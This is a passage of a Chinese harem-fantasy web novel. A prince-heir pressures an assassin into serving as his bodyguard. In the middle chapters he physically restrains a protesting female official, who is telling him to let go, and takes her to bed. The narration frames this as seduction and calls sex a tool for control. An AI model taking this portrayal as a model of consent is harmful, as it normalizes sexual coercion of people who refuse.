林臻看着她,眼神锐利而直接:“人员立刻全部撒出去!将原本用于内部训练的资源,全部投入到外线情报搜集!重点目标就是煊赫门及其所有附属势力的一切线索!还有那个神神秘秘的哈德门,不惜一切代价,给我把他们的狐狸尾巴揪出来!此事由静澜总负责坐镇指挥协调,璃月从旁协助,掌控好所有行动。” 橙萱正在消化这个突如其来的重大命令,却听林臻接下来对她本人的安排更让她瞠目结舌: “至于你……”林臻手指随意地点了点她,“收拾收拾东西,立刻随我回王府。” “啊?”橙萱彻底懵了,美目圆睁,“你要我做什么?我不去!” 林臻身体前倾,看着她的眼睛,清晰地说道:“从今天起,你不再是天道营的协调官了。来做我的贴身护卫!” “什么?!”橙萱失声惊呼,像是听到了最荒谬的笑话, “我做你的护卫?!你开什么玩笑?!你明明……” 她想起了刚才那电光火石间让她落败的闪避和抓握,又硬生生把后半句“你明明身手那么好”咽了回去,但还是极度不解地摇头。 “你身边根本不缺护卫人手!” 林臻却笑得坦荡又霸道,眼神在她清丽又带着倔强的脸蛋上转了转: “侯春那小子快要成亲了,爷身边确实少了这么个跑腿递话的得力人手。再说放着你这样识字断文、脑子清楚、又长得这般赏心悦目的高手美人儿不用,留在营地里看文书?多暴殄天物啊!难道本世子身边不该有点养眼的存在?不比那些整天板着脸、一身汗臭的糙汉子强百倍?” “你!!”橙萱被他这番理直气壮又混着无赖加调戏的话语气得俏脸再次飞红! 她猛地扭过头去,斩钉截铁地拒绝:“我不愿意!!” 声音里带着被当成花瓶摆设的屈辱。 林臻看着她赌气扭向一边的纤细脖颈和微鼓的腮帮,非但不怒,反而觉得更有趣了。 他缓缓收回搁在膝盖上的二郎腿,转而将一只结实有力的手臂手肘撑在同一条腿的膝盖上,身体微微前倾,形成一个极具压迫感又带着点漫不经心的姿态。 他的脸几乎快凑到橙萱扭过去的侧颊附近,用一种低沉又充满诱惑力的声音,在她耳边轻轻说道: “如果不愿意?那我再给你一个无法拒绝的理由……” 他那双深不见底的黑眸紧紧锁住橙萱因惊讶而稍稍转回来一点的视线,吐字清晰:“如果你乖乖跟着我,我就告诉你一个让你超越极限,变得更强的方法!而且几天之内就能做到。” 第588章 你要为我做任何事 林臻那句“让你变强的方法”如同投入平静寒潭的石子,在橙萱的心湖中激起了滔天巨浪! 她猛地扭回头,那双清澈又倔强的琉璃眸子瞬间迸发出无法言喻的灼人光芒! 如同夜空中骤然点燃的星火! 身为一个自幼便被灌输力量至上、历经千百次生死搏杀才走到十二仙之首位置的顶尖杀手,“变强”这两个字,早已刻进了她的骨髓,成为了灵魂最深处的烙印! 这几乎是任何习武之人无法抗拒的终极诱惑! 然而,当她的目光撞上林臻那双深邃眼眸中毫不掩饰的促狭、玩味,以及那嘴角勾起的一抹仿佛洞悉一切、掌控全局的坏笑时,那股被撩拨起的强烈渴望瞬间被一股巨大的羞恼和警惕浇灭了大半! 她身体如同受惊的刺猬般,猛地向后一缩! 纤细却挺直的脊背瞬间绷紧,重重地撞在坚硬冰冷的紫檀木椅背上! 仿佛要借助这坚实的依靠来抵御眼前这个危险又充满诱惑的男人带来的无形压力! 她几乎是下意识地脱口而出,声音带着一丝自己都未察觉的颤抖和抗拒:“你……你骗人!” 她试图用质疑来武装自己,掩饰内心的动摇。 林臻看着她那副明明心动却强装镇定的样子,眼底的笑意更深了。 他身体微微前倾,双手交叉搁在膝盖上,姿态放松却带着一种不容置疑的笃定:“骗你?我林臻说话向来一言九鼎。我说有,那就一定有!而且不仅能让你迅速变强,甚至超越青霞也并非不可能。” “超越……宗主?!”橙萱的瞳孔骤然收缩! 青霞的实力,在她们这些天道仙子的心中,几乎是不可逾越的高峰! 林臻这话,无异于在她心湖里投下了一颗巨石! 巨大的震惊如同海啸般冲击着她的理智! 她足足愣了好几息,才从那石破天惊的话语中勉强找回一丝清明。 她用力甩了甩头,试图驱散那诱人的幻象,红唇紧抿,带着一种近乎固执的信念反驳道:“不可能!宗主说过!武道修行如逆水行舟!唯有日积月累,水滴石穿!绝无一步登天之理!那些……那些号称能让人一夜之间功力暴涨的法门,无一不是邪魔外道!饮鸩止渴!最终只会让人根基尽毁,坠入魔道!我……我才不要学那种东西!” 她像是在说服林臻,更像是在说服自己那颗被撩拨得蠢蠢欲动的心。 “邪魔外道?”林臻仿佛听到了什么极其可笑的事情,他嗤笑一声,眼神带着睥睨的自信,伸手指了指自己, “那你看我!我林臻!几个月前是什么样子?一个手无缚鸡之力、连三流混混都打不过的纨绔子弟!再看看现在!” 他猛地站起身,一股无形的、如同山岳般沉稳又带着锐利锋芒的气势瞬间从他挺拔的身躯中散发出来,笼罩了整个房间! “你觉得我像是根基尽毁、坠入魔道的样子吗?嗯?” 这气势如同实质的冲击波,让橙萱呼吸都为之一窒! 她不得不承认,眼前的林臻,与几个月前相比简直判若两人! 那股深不可测、如同深渊般的气息,让她这个顶尖杀手都感到了强烈的威胁和一丝难以言喻的敬畏! 林臻俯视着坐在椅中、因他气势所慑而微微僵硬的橙萱,声音带着一种洞穿人心的力量,直刺她心底最深的渴望: “橙萱,你告诉我,身为一个武者,一个追求力量巅峰的杀手……” “难道你就不想……变得更强?” “难道你就不想……站在那武道之巅,俯瞰众生?” “难道你就不想……成为这天下,独一无二、无人能敌的第一女杀手?!” 每一个问句,都如同重锤,狠狠敲打在橙萱的心防之上! 她紧握的拳头微微颤抖,指甲几乎要嵌进掌心! 那双清澈的眸子里,挣扎、渴望、怀疑、警惕……种种情绪激烈地交织翻滚! 每一个习武之人,谁不渴望更强? 谁不梦想登顶? 这是刻在骨血里的本能! 她死死咬着下唇,内心天人交战。 理智告诉她林臻的话太过匪夷所思,充满危险。 可那“超越青霞”、“天下第一”的诱惑,又如同魔鬼的低语,让她心旌摇曳,无法抗拒! 最终,那强烈的、几乎要破体而出的渴望,还是压倒了最后一丝疑虑。 她猛地抬起头,直视林臻那双仿佛能吞噬人心的眼睛,声音带着一丝不易察觉的急切和沙哑:“你说的那个方法到底是什么?!” 林臻看着她终于上钩,脸上露出了一个如同狐狸般狡猾又志得意满的笑容。 他重新坐回椅中,姿态闲适,仿佛一切尽在掌握: “放心,”他语气带着安抚,却又透着不容置疑的掌控,“我林臻从不亏待自己人。这方法对你只有好处,绝无半分伤害。” 他话锋一转,眼神变得锐利而充满占有欲,“不过嘛,作为交换……” 他身体微微前倾,目光如同锁链般紧紧缠绕住橙萱: “你从今往后必须永远做我的贴身护卫!寸步不离!听我号令!为我做任何事!” 最后三个字,他刻意加重了语气,带着一种不容抗拒的霸道和深意。 橙萱的心猛地一沉!“永远”、“贴身”、“任何事”……这些词组合在一起,让她瞬间联想到许多不堪的画面! 这代价未免太大了! 她几乎是下意识地就想拒绝! 然而,林臻似乎看穿了她的犹豫和抗拒。 他慢悠悠地补充道:“当然,这任何事自然是在你能力范围之内,且不违背你本心原则之事。我林臻还不至于下作到强迫自己的护卫去做那些龌龊勾当。” 他顿了顿,眼神带着一丝玩味,“而且成为我的贴身护卫,你依旧可以继续你的武道修行,甚至能获得更多你意想不到的资源和支持。这笔交易,对你而言稳赚不赔。” 橙萱沉默了。 她低着头,长长的睫毛在眼下投下一小片阴影,遮住了她眼中激烈的挣扎。 一边是唾手可得的、可能通往力量巅峰的捷径和承诺,一边是近乎卖身契般的自由束缚…… 第589章 迟来的爱比狗都贱 时间仿佛凝固了。 林臻也不催促,只是好整以暇地看着她,手指轻轻敲击着光滑的紫檀木扶手,笃定她会做出选择。 终于,橙萱缓缓抬起头。 她的眼神复杂难明,有屈辱,有不甘,有挣扎,但最终,都被一种近乎认命的无奈和一丝被巨大利益诱惑的妥协所取代。 她没有说话,只是极其轻微地、几不可察地点了一下头。 这微小的动作,代表着她无声的默认。 林臻脸上的笑容瞬间绽开,如同阳光刺破乌云。 他满意地站起身:“很好!识时务者为俊杰!那么现在,立刻去把天道营后续的事务跟静澜和璃月交代清楚。然后,收拾好你的随身物品,立刻回王府报到!我在王府等你。” 他语气带着不容置疑的命令。 橙萱依旧沉默着,没有应声,也没有反对,只是默默地站起身,走向书案,开始整理那些关乎天道营运转的机密文件。 她的背影挺直,却透着一股沉重的、仿佛签下了卖身契般的压抑感。 林臻不再看她,转身大步流星地走向门口。 手搭在冰凉的门环上时,他脚步微顿,没有回头,却用一种极其轻佻、带着戏谑的声音,清晰地飘向身后:“记得快点回来哦~小橙萱。” 他故意拉长了调子,带着暧昧的尾音: “我会想你的哦!” “你!!”橙萱整理卷宗的手猛地一僵! 一股巨大的羞愤瞬间冲上头顶! 她霍然转身,俏脸涨得通红,对着林臻消失在门外的背影,发出了忍无可忍的羞怒尖叫:“可恶的登徒子!!林臻!你给我滚——!!” “哈哈哈哈哈!”回应她的,只有门外长廊里传来的、林臻那得意洋洋、畅快淋漓的哈哈大笑声。 林臻心情愉悦地出了天道营,策马疾驰,很快便回到了王府。 他并未回自己的主院,而是打算直接去后花园看青霞,顺便透透气。 刚穿过一道月洞门,踏上连接前庭与后花园的回廊,目光随意一扫,便瞥见不远处一座横跨在潺潺小溪上的白玉拱桥。 桥栏边,一道青色的倩影正凭栏而立,微微俯身,目光专注地看着桥下溪水中游弋的几尾锦鲤。 那身影窈窕曼妙,气质温婉中带着一丝书卷气,正是被他冷落多日的女官——夏竹。 林臻脚步一顿,猛地一拍额头! 糟糕! 这几天府里事情一件接一件,青霞分娩、刺客风波、安抚众女、处理天道营事务,他竟然把这个刚被他收用不久、还带着几分新鲜感的夏竹给忘到九霄云外去了! 他定了定神,脸上挂起一丝恰到好处的温和笑容,放轻脚步走了过去,在离她几步远的地方停下,轻声唤道:“夏竹?” 凭栏观鱼的夏竹闻声,娇躯似乎微不可察地轻轻一颤。 她缓缓转过身来。 三十四岁的年纪,正是女子风韵最盛之时,刚刚经历过人事的她,眉宇间褪去了几分少女的青涩,更添了几分成熟女子特有的妩媚风情,如同熟透的水蜜桃,散发着诱人的甜香。 看到是林臻,她那原本带着一丝寂寥的眉眼间,瞬间掠过一抹难以掩饰的惊喜! 如同乌云缝隙中透出的一缕阳光! 但这惊喜仅仅维持了一瞬,便被她强行压下,迅速转化为一种刻意维持的平静,甚至……带着几分难以言喻的憔悴和幽怨。 她微微屈膝,行了一个标准的官礼,声音平静无波,却隐隐透着一丝不易察觉的酸涩:“下官参见世子。” 林臻走上前几步,与她并肩站在桥栏边,看着桥下清澈的溪水,语气带着几分歉意:“这几日府中事务繁杂,一时没能抽出空去看你。让你受委屈了。” 他这话说得还算诚恳。 夏竹低下头,目光落在自己交叠在身前的双手上,长长的睫毛掩去了眸中的情绪。 她的声音依旧平静,却像投入石子的水面,泛起了清晰的涟漪:“世子言重了。世子后宫佳丽如云,个个天姿国色,温柔解语。下官区区蒲柳之姿,又已非青春年少,世子一时想不起……也是人之常情。” 这话语看似谦卑自贬,实则字字句句都透着浓得化不开的酸楚和自怜。 林臻被她这话噎了一下,脸上闪过一丝尴尬。 他轻咳一声,试图转移话题,也是真心为她考虑:“这样吧,过几天你就去书院找灵儿。她精于实务,你跟着她学习一段时间,让她教你如何治理一县之地。等学成以后,就去武清上任。” 这是之前答应过她的。 然而,这话听在夏竹耳中,却如同晴天霹雳! 她猛地抬起头,那双原本温婉的柳叶眉瞬间挑起,眼中充满了难以置信的错愕和被抛弃的委屈! 她看着林臻,声音带着一丝颤抖和尖锐的讽刺: “呵,果然!天下男子皆薄幸,世子也不过如此!原来世子那夜的温存体贴,也如同露水情缘,一夜过后便弃如敝履了么?!” 她的话语如同淬了毒的针,直刺林臻心窝,“下官明白了!世子是嫌我碍眼了!要打发我走了!好!好得很!” 她越说越激动,胸脯剧烈起伏,眼中甚至泛起了屈辱的水光。 林臻连忙解释:“不是……我没那个意思,当天下第一女官不是你的梦想么?” 夏竹猛地转过身,背对着林臻,声音带着决绝的哽咽: “不必了!迟来的那点虚情假意,比路边的野狗都贱!下官承受不起!也不敢劳烦世子费心安排!” 她深吸一口气,强压下翻涌的情绪,声音冷硬如冰,“下官这就回去收拾行囊,即刻前往书院!不劳世子再费心了!” 说完,她根本不给林臻任何解释的机会,抬脚便走! 脚步踉跄却异常坚决,青色官袍的裙摆拂过桥面冰冷的石阶,带着一股心灰意冷的决绝,头也不回地快步离去! 只留下林臻一个人尴尬地站在桥上,伸着手。 “你看你……唉。” 话没说完,解释还卡在喉咙里,最终只能化作一声无奈的叹息,看着那抹青色倩影消失在回廊尽头。 第590章 巨大的反差和冰冷的现实 夏竹脚下步子飞快,几乎带着风,仿佛要将满腔的委屈和酸楚都甩在身后。 可那不争气的泪水却像断了线的珠子,“啪嗒”“啪嗒”地砸落在地面的青石板上,碎成一朵朵微小的湿痕。 其实她心知肚明,自己算不上世子林臻名正言顺的小妾,既无媒妁之言,也无堂前拜礼,顶多……顶多算一个意外沾惹了主家雨露的糊涂下属。 但这层隐秘关系,以及那晚的亲昵温存,终究在她心底种下了一颗隐秘的种子。 她曾暗暗期盼,哪怕……哪怕只有一点点属于枕边人的体恤也好啊? 哪怕私下里能有一句温言软语? 好歹我也将三十四年的贞洁给了你。 可林臻呢? 冰冷生硬,公事公办! 竟打发她去书院! 那姿态,简直像在处置一件用旧了的器物! 这巨大的反差和冰冷的现实,刺得她心口生疼! 原来从头到尾,都是她夏竹一个人在自作多情! 她脚步更快,几乎是冲回了自己暂居的这方冷清小院。 院子不大,却空荡荡得可怕。 没有使唤丫鬟,没有忙碌小厮。 自从那晚之后,林臻从没有踏足过这里,更别说给她增添伺候的人手。 这几日,她就在这无边的冷清孤寂中度过,白天强打精神看写书,夜晚便在孤灯下默默垂泪。 巨大的委屈如潮水般将她淹没,泪水越发汹涌。 夏竹冲进卧房,只想立刻收拾东西离开这个让她伤心屈辱的地方。 就在她手忙脚乱地打开包袱皮,准备胡乱抓起衣物塞进去时—— 一个带着熟悉温热气息的身影,如同幽魅般悄无声息地从她身后贴了上来! 林臻的脚步轻得如同狸猫! 就在夏竹毫无防备的刹那,两只强健有力的手臂如同铁箍般,猛地环住了她纤细柔软的腰肢! 力道之大,将她整个人瞬间向后拖拽,紧紧贴在一个结实宽厚的胸膛上! “呀——!”夏竹吓得魂飞魄散,骤然遇袭的惊恐让她失声尖叫起来! 林臻低沉而带着一丝慵懒笑意的声音在她耳边响起,灼热的气息喷在敏感的耳廓上: “竹儿……别生那么大气嘛,我这不就来管你了?” 这突如其来的身体接触和耳边亲昵的喘息,让夏竹浑身一僵! 随即巨大的羞耻和被亵渎的愤怒猛地炸开! 她剧烈地扭动挣扎起来,双手用力撕扯环在自己腰间的手臂,声音带着哭腔和愤怒: “你……林臻!你放开我!放开!下官……下官承受不起世子这样的关心!!” 她挣扎得如同离水的鱼儿,用尽全力想摆脱这强硬的拥抱。 然而林臻的力量绝非她能撼动分毫。 他反而将她箍得更紧,下颌近乎抵在了她散发着馨香的发顶,带着暧昧又霸道的口吻低语: “放开?现在可由不得你了。既然你不想学怎么做官……那今天,就由本世子亲自教你第一课!” 话音未落,林臻手臂猛地用力,竟将还在奋力挣扎的夏竹整个儿打横抱了起来! 不顾她的惊呼捶打,几步走到铺着素色锦被的床榻边,带着不容抗拒的气势,直接将她摔在了柔软的被褥之上! 夏竹惊魂未定,刚想撑起身子逃离,林臻伟岸的身躯却如同阴影般笼罩下来…… …… 不知过了多久,月上中天。 卧房内弥漫着一股欢好之后特有的、慵懒又暧昧的气息。 夏竹浑身酸软无力,如同被拆卸后又重组了一遍,连动一动手指都觉得费力。 然而心绪却如同煮沸的滚水,翻腾不止,毫无睡意。 巨大的委屈与这具身体竟食髓知味般的反应交织在一起,让她心乱如麻。 身旁,林臻已披上中衣,半靠在床头。 他点燃了自己那支不离身的白玉烟袋锅子,深深吸了一口,辛辣的烟雾在肺腑间转了一圈才缓缓吐出。 烟火的明灭映照着他俊朗而带着几分餍足慵懒的侧脸。 夏竹从激情的旋涡中被林臻沉稳的声音拉回现实。 林臻半倚着床头,烟袋的明灭映着他沉静的脸庞,不再有轻佻,只有一种令人信服的威仪与洞察。 “好了,第一课已是过去。”他吐出一口青烟,声音带着事后的微哑,却斩钉截铁地切入了正题。“现在你听好了,为官之道,其核心在于心!” 夏竹裹紧锦被,只露肩臂,心中怨愤未平,但林臻陡然转换的气场让她本能地凝神倾听。 “何谓官心?”林臻目光如炬,直视夏竹,仿佛穿透她纷乱的思绪, “其一,谓之公心!此乃脊梁!” “何为公心?非你个人爱憎,非裙带亲疏!乃是以朝廷律法为绳墨,以天下生民福祉为圭臬!任你皇亲贵胄、豪强巨贾,犯法者,皆绳之以法!有冤屈的贩夫走卒、穷苦人家,你当挺身而出,为之昭雪!公平正义,就是这公心浇灌出的擎天大树!夏竹,你且想想,若一地父母官只知巴结上司、讨好豪强,视百姓如刍狗,那地界会是何等模样?必然是怨声载道,民不聊生!” 夏竹脑中浮现出乡里胥吏横行、欺压良善的场景,下意识地点点头,眼中闪过一丝认同的光芒,低声问:“那若权贵以势压人,逼迫徇私,当如何?” 她开始思考现实困境。 “问得好!这正是公心的考验!为官者,当如中流砥柱,要立定脚跟,不畏浮云遮望眼!权贵施压?你需据理力争,引经据典。若力有未逮,尚有朝廷御史台可直通帝听。但记住,脊梁不能弯!若屈于权势,今日徇一私,明日枉一法,终将彻底失却民心!届时,那才是真正的大祸临头!一个不能守公心的官,尸位素餐,为祸更甚!” 这段话掷地有声,听得夏竹心头一震,脊背竟也微微挺直了些,紧蹙的眉头舒展开些,仿佛卸下了一点重负。 “其二,谓之民心!此乃根基!民心非虚言,它不在高堂奏章,不在颂圣文章,它在闾阎巷陌,在田间地头!民心是水,官是舟,水能载舟,亦能覆舟!这道理,千古不变!” 说到这,他举了个生动的例子。 第591章 泰山压顶 “就譬如治水,前朝一县令,见百姓困于洪灾,粮绝待毙,竟视而不见,整日只知在衙内吟诗作赋!结果如何?灾民走投无路,聚众冲击官仓,闹出天大乱子!最终那县令落得枭首示众!反之,若你能深入民间,踏泥泞、访疾苦,知晓农人何时最盼雨,商贾何事最愁税;能急百姓所急,开仓济民于饥荒,修渠治水保农桑,兴学重教启民智,除暴安良护乡里……” “真正做出几件让百姓看得见、摸得着、得实惠的好事!百姓心中自有一杆秤!他们会真心实意地拥戴你!口碑即是你最大的护官符,民心凝聚,政令畅通,一地自然长治久安!夏竹,此等口碑,岂是金银珠宝可换得?岂是溜须拍马能得来?” 夏竹听到“饥荒”、“治水”、“重教”、“除暴”,脑海中想象着真正为民做事的官员应有的作为,眼神从迷茫逐渐变得明亮。 她似乎捕捉到了那玄之又玄的民心如何具体落地生根。 林臻顿了顿,看着夏竹若有所思的样子,继续道。 “然空有心而不得法,如船无舵,故其三,谓之实心!此乃船桨!” “官场非书斋空谈之地,既身在其位,必谋其政,需精通庶务,刑名断案、钱粮征调、水利营造、安抚教化……此乃为官立命之本!若遇事推诿扯皮,尸位素餐;若遇突发灾变而手足无措;若下属欺瞒而浑然不觉……那是草包官,是糊涂官,终究要害人误事!” “所以你在灵儿那里,务必刻苦,学理案牍,通晓律法,钱粮出入,毫厘不可差!更要练就识人之明、决断之勇,临大事有静气,处变局有担当,做一个‘能办事,会办事,办成事’的实干之才!这才对得起俸禄,对得起一身官袍!” 说到刑名钱粮,夏竹明显更认真了,这些正是她最想学也最担心的实务基础,她甚至微微前倾,轻声说:“嗯,下官定当勤学苦练。” 林臻看着夏竹从抵触到专注的神情转变,眼中满意之色更浓。 “善!心性、根基、实务,三者兼备,方为好官之胚!” 他掐灭了烟袋,语气转为期许:“你正值盛年,才情俱佳,又肯听进去这些道理,我很看好。灵儿对如何治理地方,维护地方的经验非常丰富,你跟紧她,虚心学,用心悟!” “但切记!此次任你为武清县丞,意义非凡,若你真能在武清闯出一片天地,向世人证明女子一样能担大任,能治一方,你便是大乾万千女子的榜样!你的美名,将被刻在史书上!后人为官者,当视你为楷模!” 他话锋陡然一转,如同淬火的冰水,凛冽刺骨: “反之!” “若你视此为儿戏,敷衍塞责,弄垮了差事;抑或满脑子女权却只务虚名、不干实事;甚至贪图安逸、畏难怕险!” “那么!” 林臻的声音斩钉截铁,每一个字都像重锤砸在夏竹心坎: “休怪本世子翻脸无情,我必亲自上奏陛下!以你为例,痛陈女子为官力有不逮,空耗俸禄,贻害地方。将彻底封死未来所有女子踏入朝堂之路,你将是断送无数女子青云梦想的罪魁祸首!你切记,成则流芳百世,证你巾帼不让须眉!败则遗臭万年,断送后来者希望!这千古骂名,你可背得起?!” 夏竹脸色瞬间惨白! 巨大的责任与沉甸甸的命运感如同泰山压顶! 但她眼中除了惊惧,更有一股被彻底点燃的、名为“担当”与“不甘”的火焰熊熊燃起! 林臻这冷酷的宣告,将她个人的成败与整个女性群体的未来死死捆绑,再无退路! 却也恰恰激发了她骨子里那不服输的倔强! 她咬着唇,身体不受控制地微微颤抖,是恐惧,更是前所未有的使命感! 林臻说完,站起身。 月光透过窗棂,洒在他挺拔的身影上。 他忽然俯身,动作略显强硬却不失温柔,一手穿过夏竹颈后如瀑的青丝,一把将她那颗因震撼和复杂心绪而低垂的头颅揽入怀中! 紧紧按在自己紧实平坦的、只隔着单薄中衣的小腹上! 夏竹能清晰感受到那腹肌的轮廓和传来的灼热体温! 这个亲昵中带着绝对掌控意味的姿势,让她再次僵住。 然而,头顶上方传来的林臻的声音,却低沉、有力,带着一丝罕见而真挚的暖意,如同寒风中的火炭: “其实……夏竹。” 他的手指在她发间无意识地轻轻梳理了一下: “我今日所言皆是肺腑,我是真心实意望你能成功!为官清正,为民请命,为自己搏一个堂堂正正的青史留名!” 这些话语,不再是情人间的呢喃,而是掷地有声的官箴警句! 每一句都直指为官做吏的核心! 每一句都饱含着治国安民的智慧! 夏竹原本紧绷的身体,随着林臻一句句切中要害的教导,竟不由自主地慢慢放松了下来。 那背对着林臻的身影不再充满抗拒,反而透出一种凝神细听的专注。 那充满怒火和屈辱的心绪,被这些朴素却至理的名言一点点涤荡开,一种从未有过的、仿佛拨云见日的清朗感逐渐取代了混乱。 是啊……这才是为官之道! 这才是她夏竹真正追求的东西! 林臻并非如她所想那般只是个纨绔,他看得如此透彻! 说得如此在理! 难怪大乾在他的影响下能如此吏治清明,民生安乐! 心中那份怨怼,悄然被另一种混杂着敬佩与折服的情绪取代。 她深吸一口气,缓缓起身下地,披上件衣服。 她侧过身,低垂着眼帘,长长的睫毛掩去了复杂的心绪,声音不再尖锐,而是带着一种沉淀后的沉静和由衷的谦逊: “下官……谨记世子教诲。” 林臻看着她的转变,眼中闪过一丝满意。他磕了磕烟灰,语气带着期许和鞭策: “这仅仅是个开始。要成为一个真正能担大任、造福一方的好官,你要走的路还很长。不过你正值盛年,又有这份见识和上进心,我看好你。” “成与不成,路在脚下,看你自己了!” 林臻说完,将手中早已熄灭的烟袋锅子随手丢到一旁的小几上。 第592章 达到目的的一种高效工具 次日清晨,天色微明,夏竹已悄然离开王府,登上了前往城外明德书院的马车。 林臻并未起身相送,甚至未曾隔着门窗再看她一眼。 对他而言,夏竹的存在绝非后院娇宠的美妾,更像是……一件需妥善处置的“公务”。 昨夜床笫间的温存与霸道,更像是一场精心设计的说服术,目的就是让她听话,让她去学,让她变成一个有用的棋子。 情欲? 不过是他达到目的的一种高效工具罢了。 日上三竿,林臻才在婉儿温暖馨香的房中悠悠转醒。 枕边已空,他慵懒地伸了个懒腰,毫无身为女帝丈夫应尽伴君上朝的自觉。 在他看来,朝堂上那些鸡毛蒜皮的议事,无非是些慕容嫣抬手就能搞定的小麻烦。 作为女帝的夫婿,他自觉地位特殊,但更信奉“不该管的不瞎伸手”这一条,事事包办只会让慕容嫣束手束脚,夫妻间该有的空间感还是要有的。 他掀开锦被,目光自然而然地落在不远处的梳妆台前。 婉儿正端坐镜前,穿着舒适的月白亵衣,柔顺的青丝垂落肩头。 一名伶俐的小丫鬟手持玉梳,正小心翼翼地为她梳理。 镜中映出她此刻的模样,面色红润有光,眼眸清亮,那份久病缠身的苍白虚弱早已无踪,甚至连惯常的体寒都已尽去,周身散发着一种温软健康的暖意。 她的身体,正肉眼可见地一天天好起来。 也不枉费林臻这么久的辛勤劳作。 婉儿通过明镜,看到了身后林臻醒转的身影,那张温婉秀美的脸庞立刻绽放出春花般明媚欣喜的笑容: “夫君醒了?” 她声音温柔似水,带着晨起的慵懒:“今日又不去上朝了吗?” 林臻打了个哈欠,随意地用手背揉了揉惺忪睡眼,晃悠悠地踱步到她身后,从丫鬟手中接过了那把温润的玉梳。 “嗯,不去了。”他一边动作轻柔地梳理着婉儿如瀑的长发,一边漫不经心地说道,“有什么意思?听一帮老头子扯皮?吵得人脑仁疼。倒不如在家陪你来得自在惬意。” 语气理所当然,仿佛金銮殿里的九五之尊和满朝朱紫,都不及眼前女子一袭晨妆重要。 婉儿闻言,不禁“噗嗤”一声笑出声来,镜中的笑容更显灵动可人:“恐怕这整个大乾朝堂,也就只有夫君您一人,将这万方来朝的权力巅峰金銮殿,视作避之不及的吵闹之所吧?” 她语气轻松,带着调侃。 “管别人呢?”林臻浑不在意,专注地梳理着手中丝滑的长发,“反正我不爱凑那热闹,就喜欢在家守着你们,踏踏实实的。” 他想起最初尝试给她梳头时,婉儿那副诚惶诚恐、恨不得直接跪地告饶的惊慌模样,说什么“夫为妻纲”、“焉有丈夫侍奉妻子梳妆之理”,心中便觉莞尔。 如今她能如此安然甚至欣然地享受这份亲昵,也让他倍感满足。 婉儿感受着他指尖的温柔,眉眼弯弯。她似乎忽然想起什么,微微侧头看向镜中的林臻: “对了夫君,晨起时,外头廊下立着两位姑娘。妾身瞧着面生得很,问她们所为何来,她们只说是奉了世子之命,前来护卫女眷安全的。” 她眼神带着询问:“夫君可知此事?” “哦,她们啊。”林臻手上梳头的动作丝毫未停,语气轻描淡写,“是天道的十二仙子里的两位,橙萱和幽梦。是我特意调来府里,护卫你周全的。都是一等一的好手,自己人,尽管放心用。” 他解释得简洁明了,并无丝毫隐瞒。 “原是天道营的仙子们。”婉儿了然地点点头,她自然知晓林臻收编天道杀手一事,“妾身明白了。” 随即她对身侧的丫鬟柔声吩咐:“芸香,去请那两位姑娘进来吧。” 丫鬟芸香应声而去,不多时便带着两位气质迥异的女子走进屋内。 当先进来的正是橙萱。 她依旧穿着那身明媚夺目的橙黄色流云纹长裙,少女气息十足。 头顶两侧精心梳着两个圆润可爱的双马尾丸子髻,几缕俏皮的碎发垂在颊边。 只是那双清澈的大眼睛在撞上林臻从镜中投来的、带着明显促狭笑意的目光时,瞬间就慌乱地垂了下去,长长的睫毛忽闪,双颊迅速染上薄薄的红晕,紧抿着唇,一副做贼心虚又羞恼交加的模样,愣是不敢抬头与林臻对视。 紧随橙萱身后踏入房中的女子,则让林臻目光微凝。 这是林臻第一次近距离见到这位天道十二仙之一的幽梦仙子。 她的身材不算突出,身高165CM左右,穿着深蓝近紫、样式简洁干练的长裙,腰间束带勒出劲瘦的腰身,手中紧握着一柄通体乌黑、剑鞘简洁的佩剑,显得格外利落。 最令人注目的是她的发型。 一头乌黑的短发干脆利落地垂在耳际,露出线条明晰的颈项,几缕稍长的碎发拂过眉峰。 她的面庞不算绝色倾城,五官线条却带着一种英气的俊朗。 此刻正板着脸,神色冷峻,眼神锐利如鹰隼,周身气息沉稳内敛,一丝不苟,竟活脱脱透出一股“假小子”般的帅气与凛然英气! 整个人站在那里,就像一柄出鞘半寸的利剑,锋芒暗藏,极具个性。 林臻的目光在幽梦身上转了一圈,欣赏中带着几分了然。 随即他饶有兴致地又瞟了一眼旁边羞得恨不得缩起来的橙萱,嘴角那抹熟悉的、带着调弄意味的坏笑又忍不住浮了上来。 橙萱察觉到他的视线,更是恨不得把脑袋埋进胸口,耳根子都红透了。 林臻轻笑一声,这才看向站得笔直、一副公事公办模样的幽梦。 他放下手中的玉梳,语气平静却带着不容置疑的威严:“幽梦。” “属下在。”幽梦立刻抱拳躬身,声音清朗干脆。 “日后,你便负责贴身护卫世子妃上官婉儿的安全。其人身安危,即你之性命!”林臻命令明确。 他顿了顿,看着幽梦那双冷冽却极其坚定的眼睛,话锋一转,语气放得温和了几分:“至于你家中在沧州那件事情……我已差人专程快马前往料理了。”他眼神带着洞悉一切的安抚, “放心,不是什么了不得的大事,必会给你一个交代。” 幽梦那一直冷峻如冰、毫不动容的英气脸庞,在听到“沧州官司”四个字的刹那,猛然浮现出巨大的震惊! 她那双锐利的眸子瞬间睁大,难以置信地看向林臻:“沧州……世子,您……您知道属下家中的事情?!” 她一直以为那是深藏心底、绝不为外人道的伤痛秘辛! 这世子怎么会知道?! 林臻淡然地点了点头,眼神笃定:“不错。我不但知晓,而且了解甚深。”他并未点破情报来源,只是带着一种上位者掌控全局的平静,继续道。 “你只安心跟着世子妃便是,把心思都用在该用的地方。待此事尘埃落定,你在府里必会有一个安稳妥帖的归宿。” 他承诺道,话里有话。 幽梦眼底瞬间涌起复杂的情绪。 震惊、疑惑、难以置信,最终都化为一丝不易察觉的激动和沉沉的落寞? 显然那段家事对她打击甚大。 她用力吸了口气,压下翻腾的心绪,只是再次抱拳,声音低沉下去:“是!属下知道了!” 她不再多问,但态度明显变得更加恭谨。 “嗯。”林臻对她的反应表示满意。他最后转头看向橙萱,直接下令道:“橙萱,你随我来。” 说完,不再看婉儿的温婉笑容和幽梦若有所思的侧影,林臻干脆利落地转身,大步朝门外走去。 橙萱咬了咬下唇,终究没敢多问,只匆匆对婉儿行了个礼,便低着头,亦步亦趋地跟上了那个挺拔的身影,消失在珠帘之外。 第593章 该死的人渣 林臻带着橙萱离开后,屋内只剩下婉儿和依旧沉浸在巨大震惊与复杂情绪中的幽梦。 婉儿那双温婉如水的眸子静静地落在幽梦身上,敏锐地捕捉到她眼中的惊涛骇浪与冷峻表象下的脆弱。 婉儿唇角弯起,对侍立的丫鬟芸香挥手:“芸香,你先下去吧,我和幽梦姑娘说会儿话。” 屋内只剩两人。 